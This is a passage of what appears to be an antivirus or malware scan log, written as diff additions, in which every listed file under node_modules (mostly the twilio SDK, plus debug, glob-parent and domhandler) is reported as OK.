+/scan/node_modules/twilio/lib/rest/api/v2010/account/usage/record/yearly.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/usage/record/allTime.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/usage/record/lastMonth.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/usage/record.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/usage/trigger.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/usage/trigger.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/usage/record.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/authorizedConnectApp.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/sip.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/token.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/call.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/address.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/call.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/call/notification.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/call/stream.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/call/event.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/call/transcription.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/call/userDefinedMessage.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/call/recording.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/call/recording.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/call/siprec.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/call/event.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/call/stream.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/call/userDefinedMessage.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/call/userDefinedMessageSubscription.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/call/payment.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/call/payment.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/call/notification.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/call/transcription.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/call/siprec.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/call/userDefinedMessageSubscription.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/queue.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/validationRequest.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/outgoingCallerId.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/address/dependentPhoneNumber.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/address/dependentPhoneNumber.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/outgoingCallerId.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/newKey.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/queue/member.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/queue/member.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/notification.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/balance.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/usage.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/conference.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/availablePhoneNumberCountry.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/sip/domain.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/sip/ipAccessControlList.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/sip/domain.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/sip/credentialList/credential.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/sip/credentialList/credential.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/sip/credentialList.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/sip/ipAccessControlList.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/sip/ipAccessControlList/ipAddress.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/sip/ipAccessControlList/ipAddress.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/sip/credentialList.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/sip/domain/authTypes/authTypeRegistrations.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/sip/domain/authTypes/authTypeCalls.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/sip/domain/authTypes/authTypeRegistrations.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/sip/domain/authTypes/authTypeRegistrations/authRegistrationsCredentialListMapping.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/sip/domain/authTypes/authTypeRegistrations/authRegistrationsCredentialListMapping.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/sip/domain/authTypes/authTypeCalls/authCallsCredentialListMapping.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/sip/domain/authTypes/authTypeCalls/authCallsIpAccessControlListMapping.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/sip/domain/authTypes/authTypeCalls/authCallsIpAccessControlListMapping.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/sip/domain/authTypes/authTypeCalls/authCallsCredentialListMapping.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/sip/domain/authTypes/authTypeCalls.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/sip/domain/credentialListMapping.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/sip/domain/ipAccessControlListMapping.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/sip/domain/authTypes.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/sip/domain/credentialListMapping.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/sip/domain/authTypes.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/sip/domain/ipAccessControlListMapping.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/transcription.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/application.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/newSigningKey.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/availablePhoneNumberCountry/machineToMachine.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/availablePhoneNumberCountry/mobile.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/availablePhoneNumberCountry/tollFree.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/availablePhoneNumberCountry/local.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/availablePhoneNumberCountry/national.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/availablePhoneNumberCountry/sharedCost.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/availablePhoneNumberCountry/mobile.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/availablePhoneNumberCountry/sharedCost.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/availablePhoneNumberCountry/voip.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/availablePhoneNumberCountry/voip.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/availablePhoneNumberCountry/machineToMachine.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/availablePhoneNumberCountry/national.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/availablePhoneNumberCountry/tollFree.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/availablePhoneNumberCountry/local.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/application.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/incomingPhoneNumber.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/shortCode.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/availablePhoneNumberCountry.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/incomingPhoneNumber.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/newKey.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/message.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/V2010.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/V2010.js: OK
+/scan/node_modules/twilio/lib/rest/Twilio.js: OK
+/scan/node_modules/twilio/lib/rest/AccountsBase.d.ts: OK
+/scan/node_modules/twilio/lib/rest/PricingBase.d.ts: OK
+/scan/node_modules/twilio/lib/rest/ContentBase.d.ts: OK
+/scan/node_modules/twilio/lib/rest/Serverless.d.ts: OK
+/scan/node_modules/twilio/lib/rest/Video.d.ts: OK
+/scan/node_modules/twilio/lib/rest/bulkexports/v1/export.d.ts: OK
+/scan/node_modules/twilio/lib/rest/bulkexports/v1/export.js: OK
+/scan/node_modules/twilio/lib/rest/bulkexports/v1/exportConfiguration.js: OK
+/scan/node_modules/twilio/lib/rest/bulkexports/v1/exportConfiguration.d.ts: OK
+/scan/node_modules/twilio/lib/rest/bulkexports/v1/export/job.js: OK
+/scan/node_modules/twilio/lib/rest/bulkexports/v1/export/exportCustomJob.js: OK
+/scan/node_modules/twilio/lib/rest/bulkexports/v1/export/exportCustomJob.d.ts: OK
+/scan/node_modules/twilio/lib/rest/bulkexports/v1/export/job.d.ts: OK
+/scan/node_modules/twilio/lib/rest/bulkexports/v1/export/day.d.ts: OK
+/scan/node_modules/twilio/lib/rest/bulkexports/v1/export/day.js: OK
+/scan/node_modules/twilio/lib/rest/bulkexports/V1.d.ts: OK
+/scan/node_modules/twilio/lib/rest/bulkexports/V1.js: OK
+/scan/node_modules/twilio/lib/rest/Pricing.d.ts: OK
+/scan/node_modules/twilio/lib/rest/Knowledge.js: OK
+/scan/node_modules/twilio/lib/rest/Video.js: OK
+/scan/node_modules/twilio/lib/rest/preview/HostedNumbers.js: OK
+/scan/node_modules/twilio/lib/rest/preview/Wireless.d.ts: OK
+/scan/node_modules/twilio/lib/rest/preview/hosted_numbers/hostedNumberOrder.js: OK
+/scan/node_modules/twilio/lib/rest/preview/hosted_numbers/authorizationDocument/dependentHostedNumberOrder.d.ts: OK
+/scan/node_modules/twilio/lib/rest/preview/hosted_numbers/authorizationDocument/dependentHostedNumberOrder.js: OK
+/scan/node_modules/twilio/lib/rest/preview/hosted_numbers/authorizationDocument.js: OK
+/scan/node_modules/twilio/lib/rest/preview/hosted_numbers/authorizationDocument.d.ts: OK
+/scan/node_modules/twilio/lib/rest/preview/hosted_numbers/hostedNumberOrder.d.ts: OK
+/scan/node_modules/twilio/lib/rest/preview/marketplace/availableAddOn.d.ts: OK
+/scan/node_modules/twilio/lib/rest/preview/marketplace/installedAddOn.js: OK
+/scan/node_modules/twilio/lib/rest/preview/marketplace/availableAddOn/availableAddOnExtension.js: OK
+/scan/node_modules/twilio/lib/rest/preview/marketplace/availableAddOn/availableAddOnExtension.d.ts: OK
+/scan/node_modules/twilio/lib/rest/preview/marketplace/installedAddOn/installedAddOnExtension.d.ts: OK
+/scan/node_modules/twilio/lib/rest/preview/marketplace/installedAddOn/installedAddOnExtension.js: OK
+/scan/node_modules/twilio/lib/rest/preview/marketplace/availableAddOn.js: OK
+/scan/node_modules/twilio/lib/rest/preview/marketplace/installedAddOn.d.ts: OK
+/scan/node_modules/twilio/lib/rest/preview/Wireless.js: OK
+/scan/node_modules/twilio/lib/rest/preview/Marketplace.d.ts: OK
+/scan/node_modules/twilio/lib/rest/preview/wireless/sim.js: OK
+/scan/node_modules/twilio/lib/rest/preview/wireless/ratePlan.js: OK
+/scan/node_modules/twilio/lib/rest/preview/wireless/command.js: OK
+/scan/node_modules/twilio/lib/rest/preview/wireless/ratePlan.d.ts: OK
+/scan/node_modules/twilio/lib/rest/preview/wireless/command.d.ts: OK
+/scan/node_modules/twilio/lib/rest/preview/wireless/sim/usage.d.ts: OK
+/scan/node_modules/twilio/lib/rest/preview/wireless/sim/usage.js: OK
+/scan/node_modules/twilio/lib/rest/preview/wireless/sim.d.ts: OK
+/scan/node_modules/twilio/lib/rest/preview/HostedNumbers.d.ts: OK
+/scan/node_modules/twilio/lib/rest/preview/Marketplace.js: OK
+/scan/node_modules/twilio/lib/rest/MessagingBase.d.ts: OK
+/scan/node_modules/twilio/lib/rest/supersim/v1/networkAccessProfile.d.ts: OK
+/scan/node_modules/twilio/lib/rest/supersim/v1/esimProfile.js: OK
+/scan/node_modules/twilio/lib/rest/supersim/v1/sim.js: OK
+/scan/node_modules/twilio/lib/rest/supersim/v1/ipCommand.d.ts: OK
+/scan/node_modules/twilio/lib/rest/supersim/v1/usageRecord.js: OK
+/scan/node_modules/twilio/lib/rest/supersim/v1/ipCommand.js: OK
+/scan/node_modules/twilio/lib/rest/supersim/v1/fleet.js: OK
+/scan/node_modules/twilio/lib/rest/supersim/v1/networkAccessProfile/networkAccessProfileNetwork.d.ts: OK
+/scan/node_modules/twilio/lib/rest/supersim/v1/networkAccessProfile/networkAccessProfileNetwork.js: OK
+/scan/node_modules/twilio/lib/rest/supersim/v1/settingsUpdate.js: OK
+/scan/node_modules/twilio/lib/rest/supersim/v1/esimProfile.d.ts: OK
+/scan/node_modules/twilio/lib/rest/supersim/v1/settingsUpdate.d.ts: OK
+/scan/node_modules/twilio/lib/rest/supersim/v1/smsCommand.d.ts: OK
+/scan/node_modules/twilio/lib/rest/supersim/v1/networkAccessProfile.js: OK
+/scan/node_modules/twilio/lib/rest/supersim/v1/network.d.ts: OK
+/scan/node_modules/twilio/lib/rest/supersim/v1/sim/simIpAddress.js: OK
+/scan/node_modules/twilio/lib/rest/supersim/v1/sim/billingPeriod.js: OK
+/scan/node_modules/twilio/lib/rest/supersim/v1/sim/billingPeriod.d.ts: OK
+/scan/node_modules/twilio/lib/rest/supersim/v1/sim/simIpAddress.d.ts: OK
+/scan/node_modules/twilio/lib/rest/supersim/v1/network.js: OK
+/scan/node_modules/twilio/lib/rest/supersim/v1/smsCommand.js: OK
+/scan/node_modules/twilio/lib/rest/supersim/v1/usageRecord.d.ts: OK
+/scan/node_modules/twilio/lib/rest/supersim/v1/fleet.d.ts: OK
+/scan/node_modules/twilio/lib/rest/supersim/v1/sim.d.ts: OK
+/scan/node_modules/twilio/lib/rest/supersim/V1.d.ts: OK
+/scan/node_modules/twilio/lib/rest/supersim/V1.js: OK
+/scan/node_modules/twilio/lib/rest/FlexApiBase.js: OK
+/scan/node_modules/twilio/lib/rest/Content.js: OK
+/scan/node_modules/twilio/lib/rest/Chat.js: OK
+/scan/node_modules/twilio/lib/rest/Knowledge.d.ts: OK
+/scan/node_modules/twilio/lib/rest/KnowledgeBase.js: OK
+/scan/node_modules/twilio/lib/rest/VideoBase.js: OK
+/scan/node_modules/twilio/lib/rest/Voice.js: OK
+/scan/node_modules/twilio/lib/rest/sync/v1/service.js: OK
+/scan/node_modules/twilio/lib/rest/sync/v1/service.d.ts: OK
+/scan/node_modules/twilio/lib/rest/sync/v1/service/syncStream.js: OK
+/scan/node_modules/twilio/lib/rest/sync/v1/service/syncMap.d.ts: OK
+/scan/node_modules/twilio/lib/rest/sync/v1/service/syncList/syncListPermission.js: OK
+/scan/node_modules/twilio/lib/rest/sync/v1/service/syncList/syncListPermission.d.ts: OK
+/scan/node_modules/twilio/lib/rest/sync/v1/service/syncList/syncListItem.d.ts: OK
+/scan/node_modules/twilio/lib/rest/sync/v1/service/syncList/syncListItem.js: OK
+/scan/node_modules/twilio/lib/rest/sync/v1/service/syncStream/streamMessage.js: OK
+/scan/node_modules/twilio/lib/rest/sync/v1/service/syncStream/streamMessage.d.ts: OK
+/scan/node_modules/twilio/lib/rest/sync/v1/service/document/documentPermission.js: OK
+/scan/node_modules/twilio/lib/rest/sync/v1/service/document/documentPermission.d.ts: OK
+/scan/node_modules/twilio/lib/rest/sync/v1/service/syncList.d.ts: OK
+/scan/node_modules/twilio/lib/rest/sync/v1/service/document.d.ts: OK
+/scan/node_modules/twilio/lib/rest/sync/v1/service/syncList.js: OK
+/scan/node_modules/twilio/lib/rest/sync/v1/service/syncMap.js: OK
+/scan/node_modules/twilio/lib/rest/sync/v1/service/syncStream.d.ts: OK
+/scan/node_modules/twilio/lib/rest/sync/v1/service/document.js: OK
+/scan/node_modules/twilio/lib/rest/sync/v1/service/syncMap/syncMapItem.d.ts: OK
+/scan/node_modules/twilio/lib/rest/sync/v1/service/syncMap/syncMapPermission.js: OK
+/scan/node_modules/twilio/lib/rest/sync/v1/service/syncMap/syncMapPermission.d.ts: OK
+/scan/node_modules/twilio/lib/rest/sync/v1/service/syncMap/syncMapItem.js: OK
+/scan/node_modules/twilio/lib/rest/sync/V1.d.ts: OK
+/scan/node_modules/twilio/lib/rest/sync/V1.js: OK
+/scan/node_modules/twilio/lib/rest/Api.js: OK
+/scan/node_modules/twilio/lib/rest/ProxyBase.js: OK
+/scan/node_modules/twilio/lib/rest/events/v1/subscription.d.ts: OK
+/scan/node_modules/twilio/lib/rest/events/v1/eventType.d.ts: OK
+/scan/node_modules/twilio/lib/rest/events/v1/sink.js: OK
+/scan/node_modules/twilio/lib/rest/events/v1/sink/sinkTest.d.ts: OK
+/scan/node_modules/twilio/lib/rest/events/v1/sink/sinkTest.js: OK
+/scan/node_modules/twilio/lib/rest/events/v1/sink/sinkValidate.d.ts: OK
+/scan/node_modules/twilio/lib/rest/events/v1/sink/sinkValidate.js: OK
+/scan/node_modules/twilio/lib/rest/events/v1/subscription.js: OK
+/scan/node_modules/twilio/lib/rest/events/v1/subscription/subscribedEvent.js: OK
+/scan/node_modules/twilio/lib/rest/events/v1/subscription/subscribedEvent.d.ts: OK
+/scan/node_modules/twilio/lib/rest/events/v1/schema/schemaVersion.d.ts: OK
+/scan/node_modules/twilio/lib/rest/events/v1/schema/schemaVersion.js: OK
+/scan/node_modules/twilio/lib/rest/events/v1/sink.d.ts: OK
+/scan/node_modules/twilio/lib/rest/events/v1/schema.js: OK
+/scan/node_modules/twilio/lib/rest/events/v1/schema.d.ts: OK
+/scan/node_modules/twilio/lib/rest/events/v1/eventType.js: OK
+/scan/node_modules/twilio/lib/rest/events/V1.d.ts: OK
+/scan/node_modules/twilio/lib/rest/events/V1.js: OK
+/scan/node_modules/twilio/lib/rest/FrontlineApi.d.ts: OK
+/scan/node_modules/twilio/lib/rest/ApiBase.d.ts: OK
+/scan/node_modules/twilio/lib/rest/Twilio.d.ts: OK
+/scan/node_modules/twilio/lib/rest/Accounts.d.ts: OK
+/scan/node_modules/twilio/lib/rest/TaskrouterBase.js: OK
+/scan/node_modules/twilio/lib/rest/Taskrouter.js: OK
+/scan/node_modules/twilio/lib/rest/VerifyBase.js: OK
+/scan/node_modules/twilio/lib/rest/Assistants.d.ts: OK
+/scan/node_modules/twilio/lib/rest/messaging/v1/deactivations.d.ts: OK
+/scan/node_modules/twilio/lib/rest/messaging/v1/domainConfig.d.ts: OK
+/scan/node_modules/twilio/lib/rest/messaging/v1/domainValidateDn.js: OK
+/scan/node_modules/twilio/lib/rest/messaging/v1/tollfreeVerification.js: OK
+/scan/node_modules/twilio/lib/rest/messaging/v1/usecase.d.ts: OK
+/scan/node_modules/twilio/lib/rest/messaging/v1/service.js: OK
+/scan/node_modules/twilio/lib/rest/messaging/v1/brandRegistration/brandVetting.d.ts: OK
+/scan/node_modules/twilio/lib/rest/messaging/v1/brandRegistration/brandVetting.js: OK
+/scan/node_modules/twilio/lib/rest/messaging/v1/brandRegistration/brandRegistrationOtp.js: OK
+/scan/node_modules/twilio/lib/rest/messaging/v1/brandRegistration/brandRegistrationOtp.d.ts: OK
+/scan/node_modules/twilio/lib/rest/messaging/v1/domainValidateDn.d.ts: OK
+/scan/node_modules/twilio/lib/rest/messaging/v1/service.d.ts: OK
+/scan/node_modules/twilio/lib/rest/messaging/v1/requestManagedCert.d.ts: OK
+/scan/node_modules/twilio/lib/rest/messaging/v1/deactivations.js: OK
+/scan/node_modules/twilio/lib/rest/messaging/v1/tollfreeVerification.d.ts: OK
+/scan/node_modules/twilio/lib/rest/messaging/v1/linkshorteningMessagingServiceDomainAssociation.d.ts: OK
+/scan/node_modules/twilio/lib/rest/messaging/v1/externalCampaign.d.ts: OK
+/scan/node_modules/twilio/lib/rest/messaging/v1/domainConfigMessagingService.d.ts: OK
+/scan/node_modules/twilio/lib/rest/messaging/v1/domainConfigMessagingService.js: OK
+/scan/node_modules/twilio/lib/rest/messaging/v1/requestManagedCert.js: OK
+/scan/node_modules/twilio/lib/rest/messaging/v1/brandRegistration.d.ts: OK
+/scan/node_modules/twilio/lib/rest/messaging/v1/brandRegistration.js: OK
+/scan/node_modules/twilio/lib/rest/messaging/v1/usecase.js: OK
+/scan/node_modules/twilio/lib/rest/messaging/v1/linkshorteningMessagingServiceDomainAssociation.js: OK
+/scan/node_modules/twilio/lib/rest/messaging/v1/linkshorteningMessagingService.d.ts: OK
+/scan/node_modules/twilio/lib/rest/messaging/v1/linkshorteningMessagingService.js: OK
+/scan/node_modules/twilio/lib/rest/messaging/v1/service/usAppToPerson.d.ts: OK
+/scan/node_modules/twilio/lib/rest/messaging/v1/service/destinationAlphaSender.js: OK
+/scan/node_modules/twilio/lib/rest/messaging/v1/service/phoneNumber.d.ts: OK
+/scan/node_modules/twilio/lib/rest/messaging/v1/service/shortCode.d.ts: OK
+/scan/node_modules/twilio/lib/rest/messaging/v1/service/channelSender.js: OK
+/scan/node_modules/twilio/lib/rest/messaging/v1/service/channelSender.d.ts: OK
+/scan/node_modules/twilio/lib/rest/messaging/v1/service/alphaSender.d.ts: OK
+/scan/node_modules/twilio/lib/rest/messaging/v1/service/usAppToPersonUsecase.js: OK
+/scan/node_modules/twilio/lib/rest/messaging/v1/service/usAppToPerson.js: OK
+/scan/node_modules/twilio/lib/rest/messaging/v1/service/alphaSender.js: OK
+/scan/node_modules/twilio/lib/rest/messaging/v1/service/phoneNumber.js: OK
+/scan/node_modules/twilio/lib/rest/messaging/v1/service/usAppToPersonUsecase.d.ts: OK
+/scan/node_modules/twilio/lib/rest/messaging/v1/service/destinationAlphaSender.d.ts: OK
+/scan/node_modules/twilio/lib/rest/messaging/v1/service/shortCode.js: OK
+/scan/node_modules/twilio/lib/rest/messaging/v1/externalCampaign.js: OK
+/scan/node_modules/twilio/lib/rest/messaging/v1/domainConfig.js: OK
+/scan/node_modules/twilio/lib/rest/messaging/v1/domainCerts.d.ts: OK
+/scan/node_modules/twilio/lib/rest/messaging/v1/domainCerts.js: OK
+/scan/node_modules/twilio/lib/rest/messaging/V1.d.ts: OK
+/scan/node_modules/twilio/lib/rest/messaging/V1.js: OK
+/scan/node_modules/twilio/lib/rest/messaging/V2.js: OK
+/scan/node_modules/twilio/lib/rest/messaging/v2/channelsSender.js: OK
+/scan/node_modules/twilio/lib/rest/messaging/v2/channelsSender.d.ts: OK
+/scan/node_modules/twilio/lib/rest/messaging/v2/typingIndicator.js: OK
+/scan/node_modules/twilio/lib/rest/messaging/v2/typingIndicator.d.ts: OK
+/scan/node_modules/twilio/lib/rest/messaging/v2/domainCerts.d.ts: OK
+/scan/node_modules/twilio/lib/rest/messaging/v2/domainCerts.js: OK
+/scan/node_modules/twilio/lib/rest/messaging/V2.d.ts: OK
+/scan/node_modules/twilio/lib/rest/AssistantsBase.d.ts: OK
+/scan/node_modules/twilio/lib/rest/pricing/v1/phoneNumber.d.ts: OK
+/scan/node_modules/twilio/lib/rest/pricing/v1/messaging.d.ts: OK
+/scan/node_modules/twilio/lib/rest/pricing/v1/phoneNumber/country.js: OK
+/scan/node_modules/twilio/lib/rest/pricing/v1/phoneNumber/country.d.ts: OK
+/scan/node_modules/twilio/lib/rest/pricing/v1/voice/number.js: OK
+/scan/node_modules/twilio/lib/rest/pricing/v1/voice/number.d.ts: OK
+/scan/node_modules/twilio/lib/rest/pricing/v1/voice/country.js: OK
+/scan/node_modules/twilio/lib/rest/pricing/v1/voice/country.d.ts: OK
+/scan/node_modules/twilio/lib/rest/pricing/v1/messaging.js: OK
+/scan/node_modules/twilio/lib/rest/pricing/v1/phoneNumber.js: OK
+/scan/node_modules/twilio/lib/rest/pricing/v1/voice.js: OK
+/scan/node_modules/twilio/lib/rest/pricing/v1/messaging/country.js: OK
+/scan/node_modules/twilio/lib/rest/pricing/v1/messaging/country.d.ts: OK
+/scan/node_modules/twilio/lib/rest/pricing/v1/voice.d.ts: OK
+/scan/node_modules/twilio/lib/rest/pricing/V1.d.ts: OK
+/scan/node_modules/twilio/lib/rest/pricing/V1.js: OK
+/scan/node_modules/twilio/lib/rest/pricing/V2.js: OK
+/scan/node_modules/twilio/lib/rest/pricing/v2/number.js: OK
+/scan/node_modules/twilio/lib/rest/pricing/v2/number.d.ts: OK
+/scan/node_modules/twilio/lib/rest/pricing/v2/voice/number.js: OK
+/scan/node_modules/twilio/lib/rest/pricing/v2/voice/number.d.ts: OK
+/scan/node_modules/twilio/lib/rest/pricing/v2/voice/country.js: OK
+/scan/node_modules/twilio/lib/rest/pricing/v2/voice/country.d.ts: OK
+/scan/node_modules/twilio/lib/rest/pricing/v2/country.js: OK
+/scan/node_modules/twilio/lib/rest/pricing/v2/voice.js: OK
+/scan/node_modules/twilio/lib/rest/pricing/v2/voice.d.ts: OK
+/scan/node_modules/twilio/lib/rest/pricing/v2/country.d.ts: OK
+/scan/node_modules/twilio/lib/rest/pricing/V2.d.ts: OK
+/scan/node_modules/twilio/lib/rest/Marketplace.js: OK
+/scan/node_modules/twilio/lib/rest/routes/V2.js: OK
+/scan/node_modules/twilio/lib/rest/routes/v2/phoneNumber.d.ts: OK
+/scan/node_modules/twilio/lib/rest/routes/v2/sipDomain.d.ts: OK
+/scan/node_modules/twilio/lib/rest/routes/v2/trunk.d.ts: OK
+/scan/node_modules/twilio/lib/rest/routes/v2/phoneNumber.js: OK
+/scan/node_modules/twilio/lib/rest/routes/v2/sipDomain.js: OK
+/scan/node_modules/twilio/lib/rest/routes/v2/trunk.js: OK
+/scan/node_modules/twilio/lib/rest/routes/V2.d.ts: OK
+/scan/node_modules/twilio/lib/rest/RoutesBase.js: OK
+/scan/node_modules/twilio/lib/rest/Voice.d.ts: OK
+/scan/node_modules/twilio/lib/rest/WirelessBase.d.ts: OK
+/scan/node_modules/twilio/lib/rest/Preview.d.ts: OK
+/scan/node_modules/twilio/lib/rest/MessagingBase.js: OK
+/scan/node_modules/twilio/lib/rest/SyncBase.d.ts: OK
+/scan/node_modules/twilio/lib/rest/EventsBase.js: OK
+/scan/node_modules/twilio/lib/rest/Pricing.js: OK
+/scan/node_modules/twilio/lib/rest/Routes.d.ts: OK
+/scan/node_modules/twilio/lib/rest/ChatBase.d.ts: OK
+/scan/node_modules/twilio/lib/rest/PreviewBase.js: OK
+/scan/node_modules/twilio/lib/rest/previewIam/v1/authorize.js: OK
+/scan/node_modules/twilio/lib/rest/previewIam/v1/authorize.d.ts: OK
+/scan/node_modules/twilio/lib/rest/previewIam/v1/token.d.ts: OK
+/scan/node_modules/twilio/lib/rest/previewIam/v1/token.js: OK
+/scan/node_modules/twilio/lib/rest/previewIam/Versionless.d.ts: OK
+/scan/node_modules/twilio/lib/rest/previewIam/V1.d.ts: OK
+/scan/node_modules/twilio/lib/rest/previewIam/V1.js: OK
+/scan/node_modules/twilio/lib/rest/previewIam/Versionless.js: OK
+/scan/node_modules/twilio/lib/rest/previewIam/versionless/organization/user.js: OK
+/scan/node_modules/twilio/lib/rest/previewIam/versionless/organization/roleAssignment.d.ts: OK
+/scan/node_modules/twilio/lib/rest/previewIam/versionless/organization/account.d.ts: OK
+/scan/node_modules/twilio/lib/rest/previewIam/versionless/organization/user.d.ts: OK
+/scan/node_modules/twilio/lib/rest/previewIam/versionless/organization/account.js: OK
+/scan/node_modules/twilio/lib/rest/previewIam/versionless/organization/roleAssignment.js: OK
+/scan/node_modules/twilio/lib/rest/previewIam/versionless/organization.js: OK
+/scan/node_modules/twilio/lib/rest/previewIam/versionless/organization.d.ts: OK
+/scan/node_modules/twilio/lib/rest/Trunking.d.ts: OK
+/scan/node_modules/twilio/lib/rest/IntelligenceBase.js: OK
+/scan/node_modules/twilio/index.d.ts: OK
+/scan/node_modules/debug/LICENSE: OK
+/scan/node_modules/debug/README.md: OK
+/scan/node_modules/debug/package.json: OK
+/scan/node_modules/debug/src/index.js: OK
+/scan/node_modules/debug/src/node.js: OK
+/scan/node_modules/debug/src/common.js: OK
+/scan/node_modules/debug/src/browser.js: OK
+/scan/node_modules/glob-parent/LICENSE: OK
+/scan/node_modules/glob-parent/index.js: OK
+/scan/node_modules/glob-parent/README.md: OK
+/scan/node_modules/glob-parent/package.json: OK
+/scan/node_modules/domhandler/LICENSE: OK
+/scan/node_modules/domhandler/readme.md: OK
+/scan/node_modules/domhandler/package.json: OK
+/scan/node_modules/domhandler/lib/esm/index.js: OK
+/scan/node_modules/domhandler/lib/esm/node.js: OK
+/scan/node_modules/domhandler/lib/esm/node.d.ts.map: OK
+/scan/node_modules/domhandler/lib/esm/package.json: OK
+/scan/node_modules/domhandler/lib/esm/index.d.ts: OK
+/scan/node_modules/domhandler/lib/esm/node.d.ts: OK
+/scan/node_modules/domhandler/lib/esm/index.d.ts.map: OK
+/scan/node_modules/domhandler/lib/index.js: OK
+/scan/node_modules/domhandler/lib/node.js: OK
